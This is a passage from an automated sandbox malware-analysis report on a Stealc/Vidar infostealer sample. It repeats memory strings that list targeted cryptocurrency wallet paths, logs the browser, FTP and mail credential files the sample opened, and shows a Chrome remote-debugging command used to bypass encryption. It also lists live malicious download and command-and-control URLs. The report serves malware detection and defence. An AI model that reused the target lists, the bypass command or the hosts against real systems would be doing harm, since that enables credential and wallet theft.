Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2678974708.0000000000A3C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2678974708.0000000000971000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2136155078.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0055EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		25_2_0055EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0055DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		25_2_0055DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	49%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\babababa[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1006652001\babababa.exe	11%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://185.215.113.16/mine/random.exeAjw	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/babababa.exem32	100%	Avira URL Cloud	phishing
http://31.41.244.11/	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php;:R	100%	Avira URL Cloud	malware
http://185.215.113.206lfons	0%	Avira URL Cloud	safe
http://31.41.244.11/	22%	Virustotal		Browse
https://tc39.es/proposal-iterator-helpers/#sec-iteratorprototype.some	0%	Avira URL Cloud	safe
http://31.41.244.11/files/babababa.exe623847	100%	Avira URL Cloud	phishing
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.186.142	true	false	high
play.google.com	142.250.185.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	13.32.110.123	true	false	high
www.google.com	142.250.186.164	true	false	high
googlehosted.l.googleusercontent.com	172.217.16.129	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758499359&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	false		high
https://github.com/nodejs/node/pull/36061#discussion_r533718029	babababa.exe.25.dr	false		high
https://url.spec.whatwg.org/#concept-url-origin	babababa.exe.25.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	false		high
https://tools.ietf.org/html/rfc6455#section-1.3	babababa.exe.25.dr	false		high
https://github.com/chromium/chromium/blob/HEAD/third_party/blink/public/platform/web_crypto_algorith	babababa.exe.25.dr	false		high
http://185.215.113.16/mine/random.exeAjw	file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	false		high
https://gist.github.com/XVilka/8346728#gistcomment-2823421	babababa.exe.25.dr	false		high
https://github.com/nodejs/node-v0.x-archive/issues/2876.	babababa.exe.25.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://www.ecma-international.org/ecma-262/#sec-timeclip	babababa.exe.25.dr	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=10704	babababa.exe.25.dr	false		high
https://console.spec.whatwg.org/#table	babababa.exe.25.dr	false		high
https://www.iana.org/assignments/tls-extensiontype-values	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/issues/35475	babababa.exe.25.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://console.spec.whatwg.org/#console-namespace	babababa.exe.25.dr	false		high
http://31.41.244.11/	skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://nodejs.org/api/fs.html#fs_stat_time_values)	babababa.exe.25.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://url.spec.whatwg.org/#url	babababa.exe.25.dr	false		high
https://encoding.spec.whatwg.org/#textencoder	babababa.exe.25.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;:R	file.exe, 00000000.00000002.2701989014.0000000023982000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/nodejs/node/issues/13435	babababa.exe.25.dr	false		high
https://goo.gl/t5IS6M).	babababa.exe.25.dr	false		high
https://tools.ietf.org/html/rfc7230#section-3.2.2	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4	babababa.exe.25.dr	false		high
https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/repairES5.js	babababa.exe.25.dr	false		high
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	babababa.exe.25.dr	false		high
https://url.spec.whatwg.org/#concept-urlencoded-serializer	babababa.exe.25.dr	false		high
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	babababa.exe.25.dr	false		high
https://nodejs.org/api/fs.html	babababa.exe.25.dr	false		high
